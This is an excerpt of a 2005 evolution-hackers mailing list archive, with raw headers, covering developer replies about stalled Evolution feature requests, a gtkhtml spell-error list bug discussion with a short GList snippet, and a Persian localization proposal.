http://en.wikipedia.org/wiki/Selection_bias > > I thought it might be something of the sort Jon. Appreciate the heads > up on the possibility of my impression being way off based on skewed > analysis based on the bugs that are still in existence without taking > into account all the countless bugs and feature requests that have > probably been dealt with already. > > I meant no offense by the way in case anyone found my impression > offensive. I was mostly asking so that others could help me see > differently. > > And from the standpoint of wondering how to approach making changes to > the code for my own use and that of potential business clients of mine. > Whether to participate in helping out or not based on my perception of > whether any changes would be well received or considered or not. > > > If you have a sincere desire to help, produce good quality code to fix a > > problem. We can never have enough people volunteering to be part of the > > solution. > > For sure Jon. But on my end I am not so much interested in squashing > bugs as much as I am in changing the way Evolution works in some of it's Well, since nobody else is ever interested in squashing bugs either, we're always too busy doing that to ever fix all these minor issues and far-out feature requests. It is rather questionable that anybody could understand the code enough straight off the bat to implement new features effectively either. I think this is borne out by the fact there ARE so many outstanding feature requests - if anybody really cared about them, they'd have written patches. > more quirky ways. For I have settled on Evolution as my email client of > choice and will be with it for years to come. So it's worth it for me to > work on some changes. > > For example.... > > 1. Get rid of the way the Send/Receive box takes over the screen and > does not allow one to do much of anything in Evolution until AFTER it > has finished. Only way that I have found around this is to set > Evolution into automatic retrieval mode and then go off to do something > else on my computer. But it would be better to get rid of the box > altogether and replace it with some kind of indicator on the status bar > unless user wishes otherwise. I never knew this was a problem. Until I used the gnome window manager, which forces this behaviour - to me this is very much a window manager issue, with mine I just iconise it if it gets in the way, or just move it behind the other windows. You should still be able to just close the window using the close button, and it will keep downloading in the background. Adding stuff to the status bar is a lot harder than it should be because we're using bonobo, but if you want to try, you're welcome to it. Its easy, write a patch, and then see if anybody wants it. > 2. Provide the means to be able to run a filter on a folder of emails > manually. Without having said filter execute on incoming emails or > outgoing emails only. Right now there is no such mechanism and this is > quite handy, almost needful, to have to accomodate those who don't want > all their email filtered until AFTER they have read it all out of their > inbox. We used to have this ability - by having a separate set of filters (as you have 'incoming' and 'outgoing' filters, there was a 'on demand' list). This was removed years ago. I have no idea why it was removed, but someone thought it was a good idea to simplify it as it confused people or something. > 3. Revamp the way Evolution responds to key presses and otherwise on > the screen such that a user has a hard time telling what area of the > screen is in focus and what their key presses will affect. For example > the blue highlight bar (under Gnome) is in the folder pane over a > folder. The emails in that folder are being displayed in the message > pane (not the preview pane). One presses "." to go to the first unread > message in the folder followed by the down arrow key to get to the next > one (which is intuitive). What happens? The highlight bar moves to the > next folder not the next message. This is confusing and quirky. It's > difficult to tell what pane will be affected by my keypresses. Well the focus is on the folder tree in that case (as clearly indicated by the blue selection). So all normal key presses should be going there. Menu accelerators are global however. Sure its messy, and improvements may help - although i doubt they will help much, because most complaints are that evolution doesn't work like a text-mode mailer, and it never will be able to. Focus and changing of focus is required for things like accessibility, so you can't just setup global keypresses for everything. And in many cases it is a personal issue (i.e. 'I want it to work like mailer "foo"'), so it is impossible to please everyone. > 4. Change the little, itty bitty check boxes Enabling the checking of > email from the various accounts one has, to more standard check boxes > that are more seen to be that. The one's that are there look like some > kind of decorative icon and are thus confusing. I mean they look pretty > and all but for a regular user they are confusing since they don't look > like any checkboxes one normally sees in programs of any kind. I mean > the check inside the box I should say. Not the fact that there is a box > accepting a check. As far as I'm aware, we're just using standard gtktreeview checkboxes here. That would be a gtk+ issue quite beyond our control. The same checkboxes are used for enabling calendars. > I could go on..... > > Suffice it to say that each of these changes, while perhaps good overall > and not just beneficial to me personally, would require a lot of effort > not only to implement for myself alone but perhaps for everyone through > a more formal inclusion into the main code branch. Well, we have quality standards that must be met. But that isn't the problem usually. Generally any ui changes require input from the 'ui team', which are often too apathetic or too busy to bother responding for input, and the code reviewers are not allowed to make ui changes without their input. The developers are not always able to have the last word, so the process falters because of management issues. > I'm not sure I want to fight for these changes and take the time to so > fight for them if in the end such changes are going to be considered > invalid, of no use, or even frowned upon. That is why I was asking > about the apparent lack of closure to some very old bugs and very old > feature requests. Either in implementing such or definitively putting > them to rest by stating that they will not be worked on for this or that > logical reason. All I see with most of the old one's left is that they > keep getting knocked to later or in the future. They are never closed > if that makes sense. There are too many bugs to fix to keep the two mail developers busy for years to come, before you add any new features on top of that. > Again my apologies if my impressions are way off but please take into > account that I am feeling my way around all this for the first time with > Evolution. It just sounds like you want to take the evolution code and change it for your needs without consideration for existing users or development process or long-term plans. > > > > Jon > > > > Carlos Gonzalez wrote: > > > I was reading through a bunch of the bug and feature requests entered > > > into the Ximian bug database and was struck by how so many of them have > > > not had any resolution for years while being requested over and over > > > again. > > > > > > Is this because there are not enough people volunteering to fix bugs > > > and/or add features? > > > > > > Is this because of a philosophical lack of willingness to include some > > > of the feature requests (many of whom seem quite reasonable)? > > > > > > A little of both or maybe something else? > > > > > > I am just curious given that I am looking at starting to make some > > > changes in Evolution for my own use and that of my business clients and > > > want to work as much as possible with Evolution developers as opposed to > > > independent of them. But I don't want to even bother helping out if > > > there is some sort of philosophical mind set against adding new features > > > or some such. In the end I may just have to incorporate the features > > > that I and perhaps some of my clients might want in my own little "fork" > > > rather than waiting for something to make it into the main tree, so this > > > issue may be mute but I am mainly just curious as to why it seems to > > > take so long to act on a bug or a feature request. > > > > > > I suppose I should also take into account that I was only viewing those > > > things that were not resolved and that the context of seeing this > > > against the great numbers that may have been resolved already is > > > missing. > > > > > > Any insight on this would be appreciated. > > > > > > Thanks. > > > > > > Carlos > > > > _______________________________________________ > > evolution-hackers maillist - evolution-hackers@lists.ximian.com > > http://lists.ximian.com/mailman/listinfo/evolution-hackers > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers --=-7zLlVW4Lru1MaQvvWcm3 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Sat, 2005-02-26 at 14:55 -0700, Carlos Gonzalez wrote: 
Hi Jon, 


On Sat, 2005-02-26 at 10:17 -0500, William Jon McCann wrote:
> Hello,
> 
> You are attempting to draw conclusions from the number of open bugs 
> without considering all bugs.  Please see:
> http://en.wikipedia.org/wiki/Selection_bias

I thought it might be something of the sort Jon.  Appreciate the heads
up on the possibility of my impression being way off based on skewed
analysis based on the bugs that are still in existence without taking
into account all the countless bugs and feature requests that have
probably been dealt with already.  

I meant no offense by the way in case anyone found my impression
offensive.  I was mostly asking so that others could help me see
differently.  

And from the standpoint of wondering how to approach making changes to
the code for my own use and that of potential business clients of mine.
Whether to participate in helping out or not based on my perception of
whether any changes would be well received or considered or not.  

> If you have a sincere desire to help, produce good quality code to fix a 
> problem.  We can never have enough people volunteering to be part of the 
> solution.

For sure Jon.  But on my end I am not so much interested in squashing
bugs as much as I am in changing the way Evolution works in some of it's
Well, since nobody else is ever interested in squashing bugs either, we're always too busy doing that to ever fix all these minor issues and far-out feature requests.  It is rather questionable that anybody could understand the code enough straight off the bat to implement new features effectively either.  I think this is borne out by the fact there ARE so many outstanding feature requests - if anybody really cared about them, they'd have written patches. 
more quirky ways.  For I have settled on Evolution as my email client of
choice and will be with it for years to come. So it's worth it for me to
work on some changes.  

For example....

1. Get rid of the way the Send/Receive box takes over the screen and
does not allow one to do much of anything in Evolution until AFTER it
has finished.  Only way that I have found around this is to set
Evolution into automatic retrieval mode and then go off to do something
else on my computer.  But it would be better to get rid of the box
altogether and replace it with some kind of indicator on the status bar
unless user wishes otherwise.
I never knew this was a problem.  Until I used the gnome window manager, which forces this behaviour - to me this is very much a window manager issue, with mine I just iconise it if it gets in the way, or just move it behind the other windows.  You should still be able to just close the window using the close button, and it will keep downloading in the background.

Adding stuff to the status bar is a lot harder than it should be because we're using bonobo, but if you want to try, you're welcome to it.  Its easy, write a patch, and then see if anybody wants it. 
2.  Provide the means to be able to run a filter on a folder of emails
manually. Without having said filter execute on incoming emails or
outgoing emails only.  Right now there is no such mechanism and this is
quite handy, almost needful,  to have to accomodate those who don't want
all their email filtered until AFTER they have read it all out of their
inbox.
We used to have this ability - by having a separate set of filters (as you have 'incoming' and 'outgoing' filters, there was a 'on demand' list).  This was removed years ago.  I have no idea why it was removed, but someone thought it was a good idea to simplify it as it confused people or something. 
3.  Revamp the way Evolution responds to key presses and otherwise on
the screen such that a user has a hard time telling what area of the
screen is in focus and what their key presses will affect.  For example
the blue highlight bar (under Gnome) is in the folder pane over a
folder.  The emails in that folder are being displayed in the message
pane (not the preview pane).  One presses "." to go to the first unread
message in the folder followed by the down arrow key to get to the next
one (which is intuitive).  What happens?  The highlight bar moves to the
next folder not the next message.  This is confusing and quirky.  It's
difficult to tell what pane will be affected by my keypresses.
Well the focus is on the folder tree in that case (as clearly indicated by the blue selection).  So all normal key presses should be going there.  Menu accelerators are global however.

Sure its messy, and improvements may help - although i doubt they will help much, because most complaints are that evolution doesn't work like a text-mode mailer, and it never will be able to.  Focus and changing of focus is required for things like accessibility, so you can't just setup global keypresses for everything.  And in many cases it is a personal issue (i.e. 'I want it to work like mailer "foo"'), so it is impossible to please everyone. 
4. Change the little, itty bitty check boxes Enabling the checking of
email from the various accounts one has, to more standard check boxes
that are more seen to be that.  The one's that are there look like some
kind of decorative icon and are thus confusing.  I mean they look pretty
and all but for a regular user they are confusing since they don't look
like any checkboxes one normally sees in programs of any kind.  I mean
the check inside the box I should say.  Not the fact that there is a box
accepting a check.
As far as I'm aware, we're just using standard gtktreeview checkboxes here.  That would be a gtk+ issue quite beyond our control.  The same checkboxes are used for enabling calendars. 
I could go on.....

Suffice it to say that each of these changes, while perhaps good overall
and not just beneficial to me personally, would require a lot of effort
not only to implement for myself alone but perhaps for everyone through
a more formal inclusion into the main code branch.
Well, we have quality standards that must be met.  But that isn't the problem usually.  Generally any ui changes require input from the 'ui team', which are often too apathetic or too busy to bother responding for input, and the code reviewers are not allowed to make ui changes without their input.  The developers are not always able to have the last word, so the process falters because of management issues. 
I'm not sure I want to fight for these changes and take the time to so
fight for them if in the end such changes are going to be considered
invalid, of no use, or even frowned upon.  That is why I was asking
about the apparent lack of closure to some very old bugs and very old
feature requests.  Either in implementing such or definitively putting
them to rest by stating that they will not be worked on for this or that
logical reason.  All I see with most of the old one's left is that they
keep getting knocked to later or in the future.  They are never closed
if that makes sense.
There are too many bugs to fix to keep the two mail developers busy for years to come, before you add any new features on top of that. 
Again my apologies if my impressions are way off but please take into
account that I am feeling my way around all this for the first time with
Evolution.

It just sounds like you want to take the evolution code and change it for your needs without consideration for existing users or development process or long-term plans.


> 
> Jon
> 
> Carlos Gonzalez wrote:
> > I was reading through a bunch of the bug and feature requests entered
> > into the Ximian bug database and was struck by how so many of them have
> > not had any resolution for years while being requested over and over
> > again.  
> > 
> > Is this because there are not enough people volunteering to fix bugs
> > and/or add features?  
> > 
> > Is this because of a philosophical lack of willingness to include some
> > of the feature requests (many of whom seem quite reasonable)?  
> > 
> > A little of both or maybe something else?  
> > 
> > I am just curious given that I am looking at starting to make some
> > changes in Evolution for my own use and that of my business clients and
> > want to work as much as possible with Evolution developers as opposed to
> > independent of them.  But I don't want to even bother helping out if
> > there is some sort of philosophical mind set against adding new features
> > or some such.  In the end I may just have to incorporate the features
> > that I and perhaps some of my clients might want in my own little "fork"
> > rather than waiting for something to make it into the main tree, so this
> > issue may be mute but I am mainly just curious as to why it seems to
> > take so long to act on a bug or a feature request.  
> > 
> > I suppose I should also take into account that I was only viewing those
> > things that were not resolved and that the context of seeing this
> > against the great numbers that may have been resolved already is
> > missing.  
> > 
> > Any insight on this would be appreciated.  
> > 
> > Thanks. 
> > 
> > Carlos 
> 
> _______________________________________________
> evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
> http://lists.ximian.com/mailman/listinfo/evolution-hackers

_______________________________________________
evolution-hackers maillist  -  evolution-hackers@lists.ximian.com
http://lists.ximian.com/mailman/listinfo/evolution-hackers
--=-7zLlVW4Lru1MaQvvWcm3-- From notzed@ximian.com Sun Feb 27 22:58:39 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 05B7F1243F7; Sun, 27 Feb 2005 22:58:39 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 8452F1244EA for ; Sun, 27 Feb 2005 22:58:27 -0500 (EST) Received: (qmail 5276 invoked from network); 28 Feb 2005 03:58:25 -0000 Received: from localhost (HELO ?192.168.1.62?) (127.0.0.1) by localhost with SMTP; 28 Feb 2005 03:58:25 -0000 Subject: Re: [evolution-patches] Re: [Evolution-hackers] Thread locking in gtkhtml!? From: Not Zed To: spamfrommailing@freax.org Cc: evolution-hackers@lists.ximian.com, Evolution Patches In-Reply-To: <1109321143.9733.32.camel@localhost.localdomain> References: <1109279904.31955.26.camel@localhost.localdomain> <1109301774.4852.56.camel@lostzed.mmc.com.au> <1109321143.9733.32.camel@localhost.localdomain> Content-Type: multipart/alternative; boundary="=-c4tVubXMU4KdGRwfWOgB" Date: Mon, 28 Feb 2005 11:56:35 +0800 Message-Id: <1109562995.7375.31.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.3 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, QUOTED_EMAIL_TEXT,QUOTE_TWICE_1,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-c4tVubXMU4KdGRwfWOgB Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 09:45 +0100, Philip Van Hoof wrote: > On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote: > > > There shouldn't be any threading involved at all with these > > functions. This code should all run exclusively in the main thread. > > That doesn't mean there isn't race-like problems in the code though. > > Is a remote ORBit-2 function working on the spell_errors list? Or a > function that has been called by ORBit-2? You can create a POA that > will, in the background, launch a new thread to handle such a remote > procedure call. In which case the developer might not have noticed it, > but then it is going to use multiple threads and it will run in > parallel. > > If I remember it correctly, it happens like this when you initialize > the POA with ORBIT_THREAD_HINT_PER_REQUEST. Yep, it does. But none of this code can work that way so it would be running against the mainloop. Not to say something else isn't invalidly using threads I guess. > > Its probably "corba re-entrancy" or "glib re-entrancy", i.e. > > something is calling a corba method or a glib function, which then > > goes back into the mainloop and ends up invoking a callback/signal, > > while it is running a loop on the same data somewhere up the stack. > > These problems are often more tricky to track down and fix than real > > race conditions ... and often harder to fix since you can't just use > > a simple lock. > > > Okay. My patch might have made it a little but more stable then. But I > agree that if thats the case, this patch isn't a real fix for the > problem. I think it's more stable for me now, because there's a > smaller timeframe in which problems can happen. The unpatched version > can introduce problems during the time it's looping the spell_errors. > Mine will during that time just collect those items that are to be > removed. It can only create problems while it's actually removing the > collected items. Which takes less time. Overall will the > remove_spell_errors function take longer, but there's a shorter > timetime in which it can create problems. > > It's not removing the problem, it's just making it happen less > frequently. Which isn't going to help debugging this case :-), of > course. Any chance of trying it in valgrind and seeing if that spots anything? It just looks like its bad list code somewhere, but nothing is obvious in the code. If you can build glib/gmem.c with DISABLE_MEM_POOLS defined and run evolution against that, you will likely get more information out of valgrind. > > > > > > This might also fix it. But then it's still using a hackish way > > > for removing an item from the GList. > > > > > > static GList* > > > remove_one (GList *list, GList *link) > > > { > > > GList *retval = g_list_remove_link (list, link); > > > spell_error_destroy ((SpellError *) link->data); > > > return retval; > > > } > > > > I doubt it would make any difference, spell_error_destroy() is just > > a g_free() and nothing more. > > > Which leaves the pointer at link->data undefined, while it's possible > that another thread is still working on that pointer at the same time > (of course only in case something else is running in parallel). Although this is true, if it was threaded, the fact you're removing a link is just as serious a problem (i.e. the link pointers become just as invalid as the data pointer). So the order isn't really that important (the fact g_list_remove_link nulls out the link's pointers may reduce the 'invalidity window', but not to any extent that makes it a valid execution path). --=-c4tVubXMU4KdGRwfWOgB Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-25 at 09:45 +0100, Philip Van Hoof wrote:
On Fri, 2005-02-25 at 11:22 +0800, Not Zed wrote:
There shouldn't be any threading involved at all with these functions.  This code should all run exclusively in the main thread.  That doesn't mean there isn't race-like problems in the code though.
Is a remote ORBit-2 function working on the spell_errors list? Or a function that has been called by ORBit-2? You can create a POA that will, in the background, launch a new thread to handle such a remote procedure call. In which case the developer might not have noticed it, but then it is going to use multiple threads and it will run in parallel.

If I remember it correctly, it happens like this when you initialize the POA with ORBIT_THREAD_HINT_PER_REQUEST.
Yep, it does.  But none of this code can work that way so it would be running against the mainloop.  Not to say something else isn't invalidly using threads I guess.
Its probably "corba re-entrancy" or "glib re-entrancy", i.e. something is calling a corba method or a glib function, which then goes back into the mainloop and ends up invoking a callback/signal, while it is running a loop on the same data somewhere up the stack.  These problems are often more tricky to track down and fix than real race conditions ... and often harder to fix since you can't just use a simple lock.

Okay. My patch might have made it a little but more stable then. But I agree that if thats the case, this patch isn't a real fix for the problem. I think it's more stable for me now, because there's a smaller timeframe in which problems can happen. The unpatched version can introduce problems during the time it's looping the spell_errors. Mine will during that time just collect those items that are to be removed. It can only create problems while it's actually removing the collected items. Which takes less time. Overall will the remove_spell_errors function take longer, but there's a shorter timetime in which it can create problems.

It's not removing the problem, it's just making it happen less frequently. Which isn't going to help debugging this case :-), of course.
Any chance of trying it in valgrind and seeing if that spots anything?  It just looks like its bad list code somewhere, but nothing is obvious in the code.

If you can build glib/gmem.c with DISABLE_MEM_POOLS defined and run evolution against that, you will likely get more information out of valgrind.


This might also fix it. But then it's still using a hackish way for removing an item from the GList.

static GList*
remove_one (GList *list, GList *link)
{
    GList *retval = g_list_remove_link (list, link);
    spell_error_destroy ((SpellError *) link->data);
    return retval;
}
I doubt it would make any difference, spell_error_destroy() is just a g_free() and nothing more.

Which leaves the pointer at link->data undefined, while it's possible that another thread is still working on that pointer at the same time (of course only in case something else is running in parallel).
Although this is true, if it was threaded, the fact you're removing a link is just as serious a problem (i.e. the link pointers become just as invalid as the data pointer).  So the order isn't really that important (the fact g_list_remove_link nulls out the link's pointers may reduce the 'invalidity window', but not to any extent that makes it a valid execution path).


--=-c4tVubXMU4KdGRwfWOgB-- From carlos.gonzalez@shaw.ca Sun Feb 27 23:33:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id E361F124039; Sun, 27 Feb 2005 23:33:47 -0500 (EST) Received: from pd3mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net [24.71.223.10]) by lists.ximian.com (Postfix) with ESMTP id D140D1242A2 for ; Sun, 27 Feb 2005 23:33:34 -0500 (EST) Received: from pd4mr5so.prod.shaw.ca (pd4mr5so-qfe3.prod.shaw.ca [10.0.141.50]) by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICL001ONTZT9F60@l-daemon> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Received: from pn2ml6so.prod.shaw.ca ([10.0.121.150]) by pd4mr5so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004)) with ESMTP id <0ICL00MJLTZTKA70@pd4mr5so.prod.shaw.ca> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Received: from 192.168.1.9 (S0106006097389864.ed.shawcable.net [68.150.172.101]) by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28 2003)) with ESMTP id <0ICL00315TZSMJ@l-daemon> for evolution-hackers@lists.ximian.com; Sun, 27 Feb 2005 21:33:29 -0700 (MST) Date: Sun, 27 Feb 2005 21:33:30 -0700 From: Carlos Gonzalez Subject: Re: [Evolution-hackers] Seeming lack of timely bug or feature request "fixes"...why? In-reply-to: <1109562373.7375.22.camel@lostzed.mmc.com.au> To: Evolution Hackers-List Message-id: <1109565210.22270.30.camel@localhost.localdomain> MIME-version: 1.0 X-Mailer: Evolution 2.0.2 Content-type: text/plain Content-transfer-encoding: 7bit References: <1109408835.15760.13.camel@localhost.localdomain> <422092FB.1050307@pha.jhu.edu> <1109454922.13648.21.camel@localhost.localdomain> <1109562373.7375.22.camel@lostzed.mmc.com.au> X-Spam-Status: No, hits=-18.8 required=5.0 tests=BAYES_10,IN_REP_TO,QUOTED_EMAIL_TEXT,QUOTE_TWICE_1, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Not, > > For sure Jon. But on my end I am not so much interested in squashing > > bugs as much as I am in changing the way Evolution works in some of it's ... > Well, since nobody else is ever interested in squashing bugs either, > we're always too busy doing that to ever fix all these minor issues > and far-out feature requests. That makes sense Not. I see what you mean. > It is rather questionable that anybody could understand the code > enough straight off the bat to implement new features effectively > either. I think this is borne out by the fact there ARE so many > outstanding feature requests - if anybody really cared about them, > they'd have written patches. That also makes sense Not. I guess in the final analysis, given that Evolution is open source, that people could take the code, spend a few weeks studying it, and then make changes to it themselves. Something I do hope to do. > > 1. Get rid of the way the Send/Receive box takes over the screen and > > does not allow one to do much of anything in Evolution until AFTER it > > has finished. > I never knew this was a problem. Until I used the gnome window > manager, which forces this behaviour - to me this is very much a > window manager issue, with mine I just iconise it if it gets in the > way, or just move it behind the other windows. You should still be > able to just close the window using the close button, and it will keep > downloading in the background. Hmmm...I hadn't thought of just closing that window. I will try that. Hopefully the mail will continue to download on it's own. I did not realize that this was more a factor of the Gnome window manager forcing this behaviour on users and not so much an Evolution thing. Sorry about that. > Adding stuff to the status bar is a lot harder than it should be > because we're using bonobo, but if you want to try, you're welcome to > it. Its easy, write a patch, and then see if anybody wants it. Hmm...I'll look into that Not. Bonobo eh? I'll have to study up on that. > > 2. Provide the means to be able to run a filter on a folder of emails > > manually. Without having said filter execute on incoming emails or > > outgoing emails only. Right now there is no such mechanism and this is > > quite handy, almost needful, to have to accomodate those who don't want > > all their email filtered until AFTER they have read it all out of their > > inbox. > We used to have this ability - by having a separate set of filters (as > you have 'incoming' and 'outgoing' filters, there was a 'on demand' > list). This was removed years ago. I have no idea why it was > removed, but someone thought it was a good idea to simplify it as it > confused people or something. That's a shame that this was removed. Perhaps years ago it was a rather new feature. One that has now become incorporated in every other MLA that I have used (Eudora, KMail, Outlook Express (I think)). It's quite handy. > > 3. Revamp the way Evolution responds to key presses and otherwise on > > the screen such that a user has a hard time telling what area of the > > screen is in focus and what their key presses will affect. > Well the focus is on the folder tree in that case (as clearly > indicated by the blue selection). So all normal key presses should be > going there. Menu accelerators are global however. I don't think it's that plain and clear cut Not. Even today I found myself occasionally hitting the down arrow key hoping to go to the next unread message only to find myself going to the next folder instead. Very frustrating. I've been using Evolution for going on a week lots by now and I still don't have it straight. Thing is Evolution itself isn't consistent in this. The blue highlight might be over a folder. I press "." to go to the first unread message in the folder and it takes me there. Then I use arrow keys to go to the next message. While the blue highlight is still back in the folder pane. This is just downright confusing. I did discover that the expired highlight bar which is a drab color brownish thing IS a gnome specific thing and not an Evolution thing. It's just that I first noticed this in Evolution but it's a gnome thing. So I guess I am stuck with that silly expired highlight bar unless I want to hack into Gnome (no thanks). > > 4. Change the little, itty bitty check boxes Enabling the checking of > > email from the various accounts one has, to more standard check boxes > > that are more seen to be that. > As far as I'm aware, we're just using standard gtktreeview checkboxes > here. That would be a gtk+ issue quite beyond our control. The same > checkboxes are used for enabling calendars. Yeah I found out that's also a gnome thing. Very silly looking mini checkboxes if you ask me. I mean they're cute little things and all but quite disfunctional in not being like any more normal check box. > Well, we have quality standards that must be met. But that isn't the > problem usually. Generally any ui changes require input from the 'ui > team', which are often too apathetic or too busy to bother responding > for input, That's not good. > and the code reviewers are not allowed to make ui changes without > their input. The developers are not always able to have the last > word, so the process falters because of management issues. Ain't that the way it usually is? :) That's the kind of issue that I don't particularly want to mess with so it seems best for me to just make the changes on my own for me and my clients, submit those changes and make them available to all, but don't fight for any particular change to be incorporated. It sounds like doing so would just be an exercise in frustration. The only thing I have to figure out is how to make my changes applicable to my own situation after every update of evolution. That might get tricky. Maybe my whole desire to change a few things is nutty :). I don't. I'll think about this some more before I go changing anything. > There are too many bugs to fix to keep the two mail developers busy > for years to come, before you add any new features on top of that. Hmm...I see. > > Again my apologies if my impressions are way off but please take into > > account that I am feeling my way around all this for the first time with > > Evolution. > > It just sounds like you want to take the evolution code and change it > for your needs without consideration for existing users or development > process or long-term plans. Well it's not that I want to make changes without considering the long term plans Not. It's that I don't want to take the time to fight for changes if the Evolution ui people are, as you say, not around much for feedback and the developers don't have a choice, why bother? It'd be easier for me to just work my own ui and coding changes on the side for just me and my clients. I wouldn't mind at all getting involved more in helping out if I had more of a hope that my efforts might lead to something constructive as opposed to being swallowed up in a sea of management issues or the like. I hope that makes sense. Incidentally just so you know I think the work that has been done so far to make Evolution what it is, is absolutely mindboggling! In a good sense. I mean it boggles my mind that open source software can be as good if not better than commercially produced software in the spheres where it is found. Carlos From ar_shameli@yahoo.com Thu Feb 24 09:25:33 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ADF7F1247E7; Thu, 24 Feb 2005 09:25:32 -0500 (EST) Received: from web14306.mail.yahoo.com (web14306.mail.yahoo.com [216.136.173.82]) by lists.ximian.com (Postfix) with SMTP id 71E6A1242E1 for ; Thu, 24 Feb 2005 09:25:19 -0500 (EST) Received: (qmail 59693 invoked by uid 60001); 24 Feb 2005 14:25:18 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=YJ5KXmysZvitl1hpiftNU3b/rbcefSYR1kzXM6RG4PvzW9KpL3D8l6G2EvOiXwLpHmTbYN2/bi0ZIyrfwHDgz3758EuSJHG2g0z5+ukt0mgSsF1eAPkQUKvMtfkXnOa7T89FzYxk33Vkj20jZZmwiyvoQCfIP04Fv2bs2m5v8rE= ; Message-ID: <20050224142518.59691.qmail@web14306.mail.yahoo.com> Received: from [80.191.2.22] by web14306.mail.yahoo.com via HTTP; Thu, 24 Feb 2005 06:25:18 PST Date: Thu, 24 Feb 2005 06:25:18 -0800 (PST) From: Ali Shameli To: evolution-hackers@lists.ximian.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Status: No, hits=0.4 required=5.0 tests=BAYES_01,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] multi-calendaring and multi-sorting Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Persian localization in evolution. We have been working on Evolution code for months. Our goal is to add multi calendaring and multi language sorting support to Evolution. We wrote a lightweight library to use multi calendaring in systems like Evolution. First patch for adding multi calendaring support will be sent in near feature. There were two suitable solution to add multi language sorting: * hacking the evolution code, like addressbook module in order to display characters ( Non-latin) in correct order. * using a multi language sort library (which allows us to switch between different languages) Please guide us to choose the most suitable way. __________________________________ Do you Yahoo!? Yahoo! Mail - You care about security. So do we. http://promotions.yahoo.com/new_mail From spamfrommailing@freax.org Mon Feb 28 04:07:36 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8BE8E1244C5; Mon, 28 Feb 2005 04:07:36 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7C715124452 for ; Mon, 28 Feb 2005 04:07:24 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 0697B139420A for ; Mon, 28 Feb 2005 10:07:18 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03546-06 for ; Mon, 28 Feb 2005 10:07:10 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 87BF21394115 for ; Mon, 28 Feb 2005 10:07:10 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com Content-Type: multipart/alternative; boundary="=-7YKSWC/pz6Gx5HS8IBFo" Date: Mon, 28 Feb 2005 10:07:10 +0100 Message-Id: <1109581630.9416.8.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: Yes, hits=6.4 required=5.0 